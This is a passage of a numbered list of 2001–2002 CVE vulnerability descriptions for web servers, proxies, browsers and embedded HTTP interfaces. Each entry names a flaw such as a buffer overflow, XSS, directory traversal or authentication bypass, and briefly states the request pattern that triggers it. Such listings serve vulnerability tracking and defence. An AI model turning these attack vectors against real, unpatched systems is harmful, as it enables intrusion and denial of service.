20944| [CVE-2002-1497] Cross-site scripting (XSS) vulnerability in Null HTTP Server 0.5.0 and earlier allows remote attackers to insert arbitrary HTML into a "404 Not Found" response.
20945| [CVE-2002-1496] Heap-based buffer overflow in Null HTTP Server 0.5.0 and earlier allows remote attackers to execute arbitrary code via a negative value in the Content-Length HTTP header.
20946| [CVE-2002-1489] Buffer overflow in PlanetDNS PlanetWeb 1.14 and earlier allows remote attackers to execute arbitrary code via (1) an HTTP GET request with a long URL or (2) a request with a long method name.
20947| [CVE-2002-1483] db4web_c and db4web_c.exe programs in DB4Web 3.4 and 3.6 allow remote attackers to read arbitrary files via an HTTP request whose argument is a filename of the form (1) C: (drive letter), (2) //absolute/path (double-slash), or (3) .. (dot-dot).
20948| [CVE-2002-1467] Macromedia Flash Plugin before 6,0,47,0 allows remote attackers to bypass the same-domain restriction and read arbitrary files via (1) an HTTP redirect, (2) a "file://" base in a web document, or (3) a relative URL from a web archive (mht file).
20949| [CVE-2002-1455] Multiple cross-site scripting (XSS) vulnerabilities in OmniHTTPd allow remote attackers to insert script or HTML into web pages via (1) test.php, (2) test.shtml, or (3) redir.exe.
20950| [CVE-2002-1451] Blazix before 1.2.2 allows remote attackers to read source code of JSP scripts or list restricted web directories via an HTTP request that ends in a (1) "+" or (2) "\" (backslash) character.
20951| [CVE-2002-1437] Directory traversal vulnerability in the web handler for Perl 5.003 on Novell NetWare 5.1 and NetWare 6 allows remote attackers to read arbitrary files via an HTTP request containing "..%5c" (URL-encoded dot-dot backslash) sequences.
20952| [CVE-2002-1436] The web handler for Perl 5.003 on Novell NetWare 5.1 and NetWare 6 allows remote attackers to execute arbitrary Perl code via an HTTP POST request.
20953| [CVE-2002-1405] CRLF injection vulnerability in Lynx 2.8.4 and earlier allows remote attackers to inject false HTTP headers into an HTTP request that is provided on the command line, via a URL containing encoded carriage return, line feed, and other whitespace characters.
20954| [CVE-2002-1383] Multiple integer overflows in Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allow remote attackers to execute arbitrary code via (1) the CUPSd HTTP interface, as demonstrated by vanilla-coke, and (2) the image handling code in CUPS filters, as demonstrated by mksun.
20955| [CVE-2002-1368] Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by causing negative arguments to be fed into memcpy() calls via HTTP requests with (1) a negative Content-Length value or (2) a negative length in a chunked transfer encoding.
20956| [CVE-2002-1353] LocalWEB2000 HTTP server 2.1.0 stores passwords in plain text under the web document root in users.lst, which allows remote attackers to obtain the passwords via a direct request to users.lst.
20957| [CVE-2002-1310] Heap-based buffer overflow in the error-handling mechanism for the IIS ISAPI handler in Macromedia JRun 4.0 and earlier allows remote attackers to execute arbitrary via an HTTP GET request with a long .jsp file name.
20958| [CVE-2002-1309] Heap-based buffer overflow in the error-handling mechanism for the IIS ISAPI handler in Macromedia ColdFusion 6.0 allows remote attackers to execute arbitrary via an HTTP GET request with a long .cfm file name.
20959| [CVE-2002-1252] The Application Messaging Gateway for PeopleTools 8.1x before 8.19, as used in various PeopleSoft products, allows remote attackers to read arbitrary files via certain XML External Entities (XXE) fields in an HTTP POST request that is processed by the SimpleFileHandler handler.
20960| [CVE-2002-1238] Peter Sandvik's Simple Web Server 0.5.1 and earlier allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/.
20961| [CVE-2002-1236] The remote management web server for Linksys BEFSR41 EtherFast Cable/DSL Router before firmware 1.42.7 allows remote attackers to cause a denial of service (crash) via an HTTP request to Gozila.cgi without any arguments.
20962| [CVE-2002-1222] Buffer overflow in the embedded HTTP server for Cisco Catalyst switches running CatOS 5.4 through 7.3 allows remote attackers to cause a denial of service (reset) via a long HTTP request.
20963| [CVE-2002-1213] Directory traversal vulnerability in RadioBird Software WebServer 4 Everyone 1.23 and 1.27, and other versions before 1.30, allows remote attackers to read arbitrary files via an HTTP request with ".." (dot-dot) sequences containing URL-encoded forward slash ("%2F") characters.
20964| [CVE-2002-1212] Buffer overflow in RadioBird Software WebServer 4 Everyone 1.23 and 1.27, and other versions before 1.30, allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
20965| [CVE-2002-1178] Directory traversal vulnerability in the CGIServlet for Jetty HTTP server before 4.1.0 allows remote attackers to execute arbitrary commands via ..\ (dot-dot backslash) sequences in an HTTP request to the cgi-bin directory.
20966| [CVE-2002-1169] IBM Web Traffic Express Caching Proxy Server 3.6 and 4.x before 4.0.1.26 allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version number, which causes ibmproxy.exe to crash.
20967| [CVE-2002-1168] Cross-site scripting (XSS) vulnerability in IBM Web Traffic Express Caching Proxy Server 3.6 and 4.x before 4.0.1.26 allows remote attackers to execute script as other users via an HTTP request that contains an Location: header with a "%0a%0d" (CRLF) sequence, which echoes the Location as an HTTP header in the server response.
20968| [CVE-2002-1167] Cross-site scripting (XSS) vulnerability in IBM Web Traffic Express Caching Proxy Server 3.6 and 4.x before 4.0.1.26 allows remote attackers to execute script as other users via an HTTP GET request.
20969| [CVE-2002-1157] Cross-site scripting vulnerability in the mod_ssl Apache module 2.8.9 and earlier, when UseCanonicalName is off and wildcard DNS is enabled, allows remote attackers to execute script as other web site visitors, via the server name in an HTTPS response on the SSL port, which is used in a self-referencing URL, a different vulnerability than CAN-2002-0840.
20970| [CVE-2002-1153] IBM Websphere 4.0.3 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP request with long HTTP headers, such as "Host".
20971| [CVE-2002-1152] Konqueror in KDE 3.0 through 3.0.2 does not properly detect the "secure" flag in an HTTP cookie, which could cause Konqueror to send the cookie across an unencrypted channel, which could allow remote attackers to steal the cookie via sniffing.
20972| [CVE-2002-1147] The HTTP administration interface for HP Procurve 4000M Switch firmware before C.09.16, with stacking features and remote administration enabled, does not authenticate requests to reset the device, which allows remote attackers to cause a denial of service via a direct request to the device_reset CGI program.
20973| [CVE-2002-1142] Heap-based buffer overflow in the Remote Data Services (RDS) component of Microsoft Data Access Components (MDAC) 2.1 through 2.6, and Internet Explorer 5.01 through 6.0, allows remote attackers to execute code via a malformed HTTP request to the Data Stub.
20974| [CVE-2002-1122] Buffer overflow in the parsing mechanism for ISS Internet Scanner 6.2.1, when using the license banner HTTP check, allows remote attackers to execute arbitrary code via a long web server response.
20975| [CVE-2002-1120] Buffer overflow in Savant Web Server 3.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
20976| [CVE-2002-1098] Cisco VPN 3000 Concentrator 2.2.x, and 3.x before 3.5.3, adds an "HTTPS on Public Inbound (XML-Auto)(forward/in)" rule but sets the protocol to "ANY" when the XML filter configuration is enabled, which ultimately allows arbitrary traffic to pass through the concentrator.
20977| [CVE-2002-1094] Information leaks in Cisco VPN 3000 Concentrator 2.x.x and 3.x.x before 3.5.4 allow remote attackers to obtain potentially sensitive information via the (1) SSH banner, (2) FTP banner, or (3) an incorrect HTTP request.
20978| [CVE-2002-1087] The scripts (1) createdir.php, (2) removedir.php and (3) uploadfile.php for ezContents 1.41 and earlier do not check credentials, which allows remote attackers to create or delete directories and upload files via a direct HTTP POST request.
20979| [CVE-2002-1084] The VerifyLogin function in ezContents 1.41 and earlier does not properly halt program execution if a user fails to log in properly, which allows remote attackers to modify and view restricted information via HTTP POST requests.
20980| [CVE-2002-1081] The Administration console for Abyss Web Server 1.0.3 allows remote attackers to read files without providing login credentials via an HTTP request to a target file that ends in a "+" character.
20981| [CVE-2002-1079] Directory traversal vulnerability in Abyss Web Server 1.0.3 allows remote attackers to read arbitrary files via ..\ (dot-dot backslash) sequences in an HTTP GET request.
20982| [CVE-2002-1078] Abyss Web Server 1.0.3 allows remote attackers to list directory contents via an HTTP GET request that ends in a large number of / (slash) characters.
20983| [CVE-2002-1077] IPSwitch IMail Web Calendaring service (iwebcal) allows remote attackers to cause a denial of service (crash) via an HTTP POST request without a Content-Length field.
20984| [CVE-2002-1076] Buffer overflow in the Web Messaging daemon for Ipswitch IMail before 7.12 allows remote attackers to execute arbitrary code via a long HTTP GET request for HTTP/1.0.
20985| [CVE-2002-1068] The web server for D-Link DP-300 print server allows remote attackers to cause a denial of service (hang) via a large HTTP POST request.
20986| [CVE-2002-1061] Multiple buffer overflows in Thomas Hauck Jana Server 2.x through 2.2.1, and 1.4.6 and earlier, allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) an HTTP GET request with a long major version number, (2) an HTTP GET request to the HTTP proxy on port 3128 with a long major version number, (3) a long OK reply from a POP3 server, and (4) a long SMTP server response.
20987| [CVE-2002-1060] Cross-site scripting (XSS) vulnerability in Blue Coat Systems (formerly CacheFlow) CacheOS on Client Accelerator 4.1.06, Security Gateway 2.1.02, and Server Accelerator 4.1.06 allows remote attackers to inject arbitrary web script or HTML via a URL to a nonexistent hostname that includes the HTML, which is inserted into the resulting error page.
20988| [CVE-2002-1052] Jigsaw 2.2.1 on Windows systems allows remote attackers to use MS-DOS device names in HTTP requests to (1) cause a denial of service using the "con" device, or (2) obtain the physical path of the server using two requests to the "aux" device.
20989| [CVE-2002-1035] Omnicron OmniHTTPd 2.09 allows remote attackers to cause a denial of service (crash) via an HTTP request with a long, malformed HTTP 1version number.
20990| [CVE-2002-1032] Buffer overflow in KeyFocus (KF) web server 1.0.5 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary code via a malformed HTTP header.
20991| [CVE-2002-1031] KeyFocus (KF) web server 1.0.2 allows remote attackers to list directories and read restricted files via an HTTP request containing a %00 (null) character.
20992| [CVE-2002-1027] Cross-site scripting vulnerability in the default HTTP 500 error script (500error.jsp) for Macromedia Sitespring 1.2.0 (277.1) allows remote attackers to execute arbitrary web script via a link to 500error.jsp with the script in 1the et parameter.
20993| [CVE-2002-1025] JRun 3.0 through 4.0 allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.
20994| [CVE-2002-1023] BadBlue server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.
20995| [CVE-2002-1021] BadBlue server allows remote attackers to read restricted files, such as EXT.INI, via an HTTP request that contains a hex-encoded null byte.
20996| [CVE-2002-1012] Buffer overflow in web server for Tivoli Management Framework (TMF) ManagedNode 3.6.x through 3.7.1 allows remote attackers to cause a denial of service or execute arbitrary code via a long HTTP GET request.
20997| [CVE-2002-1011] Buffer overflow in web server for Tivoli Management Framework (TMF) Endpoint 3.6.x through 3.7.1, before Fixpack 2, allows remote attackers to cause a denial of service or execute arbitrary code via a long HTTP GET request.
20998| [CVE-2002-1010] Lotus Domino R4 allows remote attackers to bypass access restrictions for files in the web root via an HTTP request appended with a "?" character, which is treated as a wildcard character and bypasses the web handlers.
20999| [CVE-2002-1009] Cross-site scripting vulnerability in PowerBASIC pbcgi.cgi, as included in Lil' HTTP web server, allows remote attackers to execute arbitrary web script in other web browsers via the (1) "Name" or (2) "E-mail" parameters.
21000| [CVE-2002-1008] Cross-site scripting vulnerability in PowerBASIC urlcount.cgi, as included in Lil' HTTP web server, allows remote attackers to execute arbitrary web script in other web browsers via a request to urlcount.cgi that contains the script, which is not filtered when the REPORT capability prints the original request.
21001| [CVE-2002-1003] Buffer overflow in MyWebServer 1.02 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
21002| [CVE-2002-1001] Buffer overflows in AnalogX Proxy before 4.12 allows remote attackers to cause a denial of service and possibly execute arbitrary code via (1) a long HTTP request to TCP port 6588 or (2) a SOCKS 4A request to TCP port 1080 with a long DNS hostname.
21003| [CVE-2002-0968] Buffer overflow in AnalogX SimpleServer:WWW 1.16 and earlier allows remote attackers to cause a denial of service (crash) and execute code via a long HTTP request method name.
21004| [CVE-2002-0966] Buffer overflow in 4D web server 6.7.3 allow remote attackers to cause a denial of service and possibly execute arbitrary code via a long HTTP request.
21005| [CVE-2002-0946] Directory traversal vulnerability in SeaNox Devwex before 1.2002.0601 allows remote attackers to read arbitrary files via ..\ (dot dot) sequences in an HTTP request.
21006| [CVE-2002-0945] Buffer overflow in SeaNox Devwex allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
21007| [CVE-2002-0908] Directory traversal vulnerability in the web server for Cisco IDS Device Manager before 3.1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTPS request.
21008| [CVE-2002-0902] Cross-site scripting vulnerability in phpBB 2.0.0 (phpBB2) allows remote attackers to execute Javascript as other phpBB users by including a http:// and a double-quote (") in the [IMG] tag, which bypasses phpBB's security check, terminates the src parameter of the resulting HTML IMG tag, and injects the script.
21009| [CVE-2002-0876] Web server for Shambala 4.5 allows remote attackers to cause a denial of service (crash) via a malformed HTTP request.
21010| [CVE-2002-0847] tinyproxy HTTP proxy 1.5.0, 1.4.3, and earlier allows remote attackers to execute arbitrary code via memory that is freed twice (double-free).
21011| [CVE-2002-0845] Buffer overflow in Sun ONE / iPlanet Web Server 4.1 and 6.0 allows remote attackers to execute arbitrary code via an HTTP request using chunked transfer encoding.
21012| [CVE-2002-0839] The shared memory scoreboard in the HTTP daemon for Apache 1.3.x before 1.3.27 allows any user running as the Apache UID to send a SIGUSR1 signal to any process as root, resulting in a denial of service (process kill) or possibly other behaviors that would not normally be allowed, by modifying the parent[].pid and parent[].last_rtime segments in the scoreboard.
21013| [CVE-2002-0815] The Javascript "Same Origin Policy" (SOP), as implemented in (1) Netscape, (2) Mozilla, and (3) Internet Explorer, allows a remote web server to access HTTP and SOAP/XML content from restricted sites by mapping the malicious server's parent DNS domain name to the restricted site, loading a page from the restricted site into one frame, and passing the information to the attacker-controlled frame, which is allowed because the document.domain of the two frames matches on the parent domain.
21014| [CVE-2002-0803] Bugzilla 2.14 before 2.14.2, and 2.16 before 2.16rc2, allows remote attackers to display restricted products and components via a direct HTTP request to queryhelp.cgi.
21015| [CVE-2002-0801] Buffer overflow in the ISAPI DLL filter for Macromedia JRun 3.1 allows remote attackers to execute arbitrary code via a direct request to the filter with a long HTTP host header field in a URL for a .jsp file.
21016| [CVE-2002-0792] The web management interface for Cisco Content Service Switch (CSS) 11000 switches allows remote attackers to cause a denial of service (soft reset) via (1) an HTTPS POST request, or (2) malformed XML data.
21017| [CVE-2002-0784] Directory traversal vulnerability in Lysias Lidik web server 0.7b allows remote attackers to list directories via an HTTP request with a ... (modified dot dot).
21018| [CVE-2002-0778] The default configuration of the proxy for Cisco Cache Engine and Content Engine allows remote attackers to use HTTPS to make TCP connections to allowed IP addresses while hiding the actual source IP.
21019| [CVE-2002-0769] The web-based configuration interface for the Cisco ATA 186 Analog Telephone Adaptor allows remote attackers to bypass authentication via an HTTP POST request with a single byte, which allows the attackers to (1) obtain the password from the login screen, or (2) reconfigure the adaptor by modifying certain request parameters.
21020| [CVE-2002-0764] Phorum 3.3.2a allows remote attackers to execute arbitrary commands via an HTTP request to (1) plugin.php, (2) admin.php, or (3) del.php that modifies the PHORUM[settings_dir] variable to point to a directory that contains a PHP file with the commands.
21021| [CVE-2002-0753] Buffer overflow in Talentsoft Web+ 5.0 allows remote attackers to execute arbitrary code via an HTTP request with a long cookie.
21022| [CVE-2002-0748] LabVIEW Web Server 5.1.1 through 6.1 allows remote attackers to cause a denial of service (crash) via an HTTP GET request that ends in two newline characters, instead of the expected carriage return/newline combinations.
21023| [CVE-2002-0736] Microsoft BackOffice 4.0 and 4.5, when configured to be accessible by other systems, allows remote attackers to bypass authentication and access the administrative ASP pages via an HTTP request with an authorization type (auth_type) that is not blank.
21024| [CVE-2002-0733] Cross-site scripting vulnerability in thttpd 2.20 and earlier allows remote attackers to execute arbitrary script via a URL to a nonexistent page, which causes thttpd to insert the script into a 404 error message.
21025| [CVE-2002-0717] PHP 4.2.0 and 4.2.1 allows remote attackers to cause a denial of service and possibly execute arbitrary code via an HTTP POST request with certain arguments in a multipart/form-data form, which generates an error condition that is not properly handled and causes improper memory to be freed.
21026| [CVE-2002-0708] Directory traversal vulnerability in the Web Reports Server for SurfControl SuperScout WebFilter allows remote attackers to read arbitrary files via an HTTP request containing ... (triple dot) sequences.
21027| [CVE-2002-0690] Format string vulnerability in McAfee Security ePolicy Orchestrator (ePO) 2.5.1 allows remote attackers to execute arbitrary code via an HTTP GET request with a URI containing format strings.
21028| [CVE-2002-0670] The web interface for Pingtel xpressa SIP-based voice-over-IP phone 1.2.5 through 1.2.7.4 uses Base64 encoded usernames and passwords for HTTP basic authentication, which allows remote attackers to steal and easily decode the passwords via sniffing.
21029| [CVE-2002-0663] Buffer overflow in HTTP Proxy for Symantec Norton Personal Internet Firewall 3.0.4.91 and Norton Internet Security 2001 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a large outgoing HTTP request.
21030| [CVE-2002-0602] Snapgear Lite+ firewall 1.5.4 and 1.5.3 allows remote attackers to cause a denial of service (crash) via a large number of connections to (1) the HTTP web management port, or (2) the PPTP port.
21031| [CVE-2002-0595] Buffer overflow in WTRS_UI.EXE (WTX_REMOTE.DLL) for WebTrends Reporting Center 4.0d allows remote attackers to execute arbitrary code via a long HTTP GET request to the /reports/ directory.
21032| [CVE-2002-0594] Netscape 6 and Mozilla 1.0 RC1 and earlier allows remote attackers to determine the existence of files on the client system via a LINK element in a Cascading Style Sheet (CSS) page that causes an HTTP redirect.
21033| [CVE-2002-0579] WorkforceROI Xpede 4.1 allows remote attackers to gain privileges as an Xpede administrator via a direct HTTP request to the /admin/adminproc.asp script, which does not prompt for a password.
21034| [CVE-2002-0578] Buffer overflow in 4D WebServer 6.7.3 allows remote attackers to cause a denial of service and possibly execute arbitrary code via an HTTP request with Basic Authentication containing a long (1) user name or (2) password.
21035| [CVE-2002-0576] ColdFusion 5.0 and earlier on Windows systems allows remote attackers to determine the absolute pathname of .cfm or .dbm files via an HTTP request that contains an MS-DOS device name such as NUL, which leaks the pathname in an error message.
21036| [CVE-2002-0566] PL/SQL module 3.0.9.8.2 in Oracle 9i Application Server 1.0.2.x allows remote attackers to cause a denial of service (crash) via an HTTP Authorization header without an authentication type.
21037| [CVE-2002-0565] Oracle 9iAS 1.0.2.x compiles JSP files in the _pages directory with world-readable permissions under the web root, which allows remote attackers to obtain sensitive information derived from the JSP code, including usernames and passwords, via a direct HTTP request to _pages.
21038| [CVE-2002-0562] The default configuration of Oracle 9i Application Server 1.0.2.x running Oracle JSP or SQLJSP stores globals.jsa under the web root, which allows remote attackers to gain sensitive information including usernames and passwords via a direct HTTP request to globals.jsa.
21039| [CVE-2002-0559] Buffer overflows in PL/SQL module 3.0.9.8.2 in Oracle 9i Application Server 1.0.2.x allow remote attackers to cause a denial of service or execute arbitrary code via (1) a long help page request without a dadname, which overflows the resulting HTTP Location header, (2) a long HTTP request to the plsql module, (3) a long password in the HTTP Authorization, (4) a long Access Descriptor (DAD) password in the addadd form, or (5) a long cache directory name.
21040| [CVE-2002-0556] Directory traversal vulnerability in Quik-Serv HTTP server 1.1B allows remote attackers to read arbitrary files via a .. (dot dot) in a URL.
21041| [CVE-2002-0554] webdriver in IBM Informix Web DataBlade 4.12 allows remote attackers to bypass user access levels or read arbitrary files via a SQL injection attack in an HTTP request.
21042| [CVE-2002-0543] Directory traversal vulnerability in Aprelium Abyss Web Server (abyssws) before 1.0.0.2 allows remote attackers to read files outside the web root, including the abyss.conf file, via URL-encoded .. (dot dot) sequences in the HTTP request.
21043| [CVE-2002-0541] Buffer overflow in Tivoli Storage Manager TSM (1) Server or Storage Agents 3.1 through 5.1, and (2) the TSM Client Acceptor Service 4.2 and 5.1, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request to port 1580 or port 1581.
21044| [CVE-2002-0532] EMU Webmail allows local users to execute arbitrary programs via a .. (dot dot) in the HTTP Host header that points to a Trojan horse configuration file that contains a pageroot specifier that contains shell metacharacters.
21045| [CVE-2002-0496] The HTTP server for SouthWest Talker server 1.0.0 allows remote attackers to cause a denial of service (server crash) via a malformed URL to port 5002.
21046| [CVE-2002-0482] Directory traversal vulnerability in PCI Netsupport Manager before version 7, when running web extensions, allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP GET request.
21047| [CVE-2002-0448] Xerver Free Web Server 2.10 and earlier allows remote attackers to cause a denial of service (crash) via an HTTP request that contains many "C:/" sequences.
21048| [CVE-2002-0447] Directory traversal vulnerability in Xerver Free Web Server 2.10 and earlier allows remote attackers to list arbitrary directories via a .. (dot dot) in an HTTP GET request.
21049| [CVE-2002-0440] Trend Micro InterScan VirusWall HTTP proxy 3.6 with the "Skip scanning if Content-length equals 0" option enabled allows malicious web servers to bypass content scanning via a Content-length header set to 0, which is often ignored by HTTP clients.
21050| [CVE-2002-0433] Pi3Web 2.0.0 allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
21051| [CVE-2002-0422] IIS 5 and 5.1 supporting WebDAV methods allows remote attackers to determine the internal IP address of the system (which may be obscured by NAT) via (1) a PROPFIND HTTP request with a blank Host header, which leaks the address in an HREF property in a 207 Multi-Status response, or (2) via the WRITE or MKCOL method, which leaks the IP in the Location server header.
21052| [CVE-2002-0415] Directory traversal vulnerability in the web server used in RealPlayer 6.0.7, and possibly other versions, may allow local users to read files that are accessible to RealPlayer via a .. (dot dot) in an HTTP GET request to port 1275.
21053| [CVE-2002-0412] Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote attackers to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication.
21054| [CVE-2002-0408] htcgibin.exe in Lotus Domino server 5.0.9a and earlier, when configured with the NoBanner setting, allows remote attackers to determine the version number of the server via a request that generates an HTTP 500 error code, which leaks the version in a hard-coded error message.
21055| [CVE-2002-0392] Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect size.
21056| [CVE-2002-0387] Buffer overflow in gxnsapi6.dll NSAPI plugin of the Connector Module for Sun ONE Application Server before 6.5 allows remote attackers to execute arbitrary code via a long HTTP request URL.
21057| [CVE-2002-0386] The administration module for Oracle Web Cache in Oracle9iAS (9i Application Suite) 9.0.2 allows remote attackers to cause a denial of service (crash) via (1) an HTTP GET request containing a ".." (dot dot) sequence, or (2) a malformed HTTP GET request with a chunked Transfer-Encoding with missing data.
21058| [CVE-2002-0354] The XMLHttpRequest object (XMLHTTP) in Netscape 6.1 and Mozilla 0.9.7 allows remote attackers to read arbitrary files and list directories on a client system by opening a URL that redirects the browser to the file on the client, then reading the result using the responseText property.
21059| [CVE-2002-0352] Phorum 3.3.2 allows remote attackers to determine the email addresses of the 10 most active users via a direct HTTP request to the stats.php program, which does not require authentication.
21060| [CVE-2002-0347] Directory traversal vulnerability in Cobalt RAQ 4 allows remote attackers to read password-protected files, and possibly files outside the web root, via a .. (dot dot) in an HTTP request.
21061| [CVE-2002-0341] GWWEB.EXE in GroupWise Web Access 5.5, and possibly other versions, allows remote attackers to determine the full pathname of the web server via an HTTP request with an invalid HTMLVER parameter.
21062| [CVE-2002-0335] Buffer overflow in Galacticomm Worldgroup web server 3.20 and earlier allows remote attackers to cause a denial of service, and possibly execute arbitrary code, via a long HTTP GET request.
21063| [CVE-2002-0331] Directory traversal vulnerability in the HTTP server for BPM Studio Pro 4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP request.
21064| [CVE-2002-0304] Lil HTTP Server 2.1 allows remote attackers to read password-protected files via a /./ in the HTTP request.
21065| [CVE-2002-0298] ScriptEase MiniWeb Server 0.95 allows remote attackers to cause a denial of service (crash) via certain HTTP GET requests containing (1) a %2e%2e (encoded dot-dot), (2) several /../ (dot dot) sequences, (3) a missing URI, or (4) several ../ in a URI that does not begin with a / (slash) character.
21066| [CVE-2002-0297] Buffer overflow in ScriptEase MiniWeb Server 0.95 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long URL in an HTTP request.
21067| [CVE-2002-0291] Dino's Webserver 1.2 allows remote attackers to cause a denial of service (CPU consumption) and possibly execute arbitrary code via several large HTTP requests within a short time.
21068| [CVE-2002-0289] Buffer overflow in Phusion web server 1.0 allows remote attackers to cause a denial of service and execute arbitrary code via a long HTTP request.
21069| [CVE-2002-0288] Directory traversal vulnerability in Phusion web server 1.0 allows remote attackers to read arbitrary files via a ... (triple dot dot) in the HTTP request.
21070| [CVE-2002-0272] Buffer overflows in mpg321 before 0.2.9 allows local and possibly remote attackers to execute arbitrary code via a long URL to (1) a command line option, (2) an HTTP request, or (3) an FTP request.
21071| [CVE-2002-0250] Web configuration utility in HP AdvanceStack hubs J3200A through J3210A with firmware version A.03.07 and earlier, allows unauthorized users to bypass authentication via a direct HTTP request to the web_access.html file, which allows the user to change the switch's configuration and modify the administrator password.
21072| [CVE-2002-0245] Lotus Domino server 5.0.8 with NoBanner enabled allows remote attackers to (1) determine the physical path of the server via a request for a nonexistent file with a .pl (Perl) extension, which leaks the pathname in the error message, or (2) make any request that causes an HTTP 500 error, which leaks the server's version name in the HTTP error message.
21073| [CVE-2002-0240] PHP, when installed with Apache and configured to search for index.php as a default web page, allows remote attackers to obtain the full pathname of the server via the HTTP OPTIONS method, which reveals the pathname in the resulting error message.
21074| [CVE-2002-0236] Lucent VitalSuite 8.0 through 8.2, including VitalNet, VitalEvent, and VitalHelp/VitalAnalysis, allows remote attackers to bypass authentication via a direct HTTP request to the VsSetCookie.exe program, which returns a valid cookie for the desired user.
21075| [CVE-2002-0233] Directory traversal vulnerability in eshare Expressions 4 Web server allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request.
21076| [CVE-2002-0201] Cyberstop Web Server for Windows 0.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request, possibly triggering a buffer overflow.
21077| [CVE-2002-0200] Cyberstop Web Server for Windows 0.1 allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.
21078| [CVE-2002-0177] Buffer overflows in icecast 1.3.11 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request from an MP3 client.
21079| [CVE-2002-0166] Cross-site scripting vulnerability in analog before 5.22 allows remote attackers to execute Javascript via an HTTP request containing the script, which is entered into a web logfile and not properly filtered by analog during display.
21080| [CVE-2002-0150] Buffer overflow in Internet Information Server (IIS) 4.0, 5.0, and 5.1 allows remote attackers to spoof the safety check for HTTP headers and cause a denial of service or execute arbitrary code via HTTP header field values.
21081| [CVE-2002-0148] Cross-site scripting vulnerability in Internet Information Server (IIS) 4.0, 5.0 and 5.1 allows remote attackers to execute arbitrary script as other users via an HTTP error page.
21082| [CVE-2002-0133] Buffer overflows in Avirt Gateway Suite 4.2 allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) long header fields to the HTTP proxy, or (2) a long string to the telnet proxy.
21083| [CVE-2002-0124] MDG Computer Services Web Server 4D/eCommerce 3.5.3 allows remote attackers to exploit directory traversal vulnerability via a ../ (dot dot) containing URL-encoded slashes in the HTTP request.
21084| [CVE-2002-0123] MDG Computer Services Web Server 4D WS4D/eCommerce 3.0 and earlier, and possibly 3.5.3, allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long HTTP request.
21085| [CVE-2002-0107] Web administration interface in CacheFlow CacheOS 4.0.13 and earlier allows remote attackers to obtain sensitive information via a series of GET requests that do not end in with HTTP/1.0 or another version string, which causes the information to be leaked in the error message.
21086| [CVE-2002-0099] Buffer overflow in Michael Lamont Savant Web Server 3.0 allows remote attackers to cause a denial of service (crash) via a long HTTP request to the cgi-bin directory in which the CGI program name contains a large number of . (dot) characters.
21087| [CVE-2002-0081] Buffer overflows in (1) php_mime_split in PHP 4.1.0, 4.1.1, and 4.0.6 and earlier, and (2) php3_mime_split in PHP 3.0.x allows remote attackers to execute arbitrary code via a multipart/form-data HTTP POST request when file_uploads is enabled.
21088| [CVE-2002-0058] Vulnerability in Java Runtime Environment (JRE) allows remote malicious web sites to hijack or sniff a web client's sessions, when an HTTP proxy is being used, via a Java applet that redirects the session to another server, as seen in (1) Netscape 6.0 through 6.1 and 4.79 and earlier, (2) Microsoft VM build 3802 and earlier as used in Internet Explorer 4.x and 5.x, and possibly other implementations that use vulnerable versions of SDK or JDK.
21089| [CVE-2002-0057] XMLHTTP control in Microsoft XML Core Services 2.6 and later does not properly handle IE Security Zone settings, which allows remote attackers to read arbitrary files by specifying a local file as an XML Data Source.
21090| [CVE-2002-0008] Bugzilla before 2.14.1 allows remote attackers to (1) spoof a user comment via an HTTP request to process_bug.cgi using the "who" parameter, instead of the Bugzilla_login cookie, or (2) post a bug as another user by modifying the reporter parameter to enter_bug.cgi, which is passed to post_bug.cgi.
21091| [CVE-2001-1574] Buffer overflow in (1) HttpSaveCVP.dll and (2) HttpSaveCSP.dll in Trend Micro InterScan VirusWall 3.5.1 allows remote attackers to execute arbitrary code.
21092| [CVE-2001-1567] Lotus Domino server 5.0.9a and earlier allows remote attackers to bypass security restrictions and view Notes database files and possibly sensitive Notes template files (.ntf) via an HTTP request with a large number of "+" characters before the .nsf file extension, which are converted to spaces by Domino.
21093| [CVE-2001-1556] The log files in Apache web server contain information directly supplied by clients and does not filter or quote control characters, which could allow remote attackers to hide HTTP requests and spoof source IP addresses when logs are viewed with UNIX programs such as cat, tail, and grep.
21094| [CVE-2001-1545] Macromedia JRun 3.0 and 3.1 appends the jsessionid to URL requests (a.k.a. rewriting) when client browsers have cookies enabled, which allows remote attackers to obtain session IDs and hijack sessions via HTTP referrer fields or sniffing.
21095| [CVE-2001-1544] Directory traversal vulnerability in Macromedia JRun Web Server (JWS) 2.3.3, 3.0 and 3.1 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP GET request.
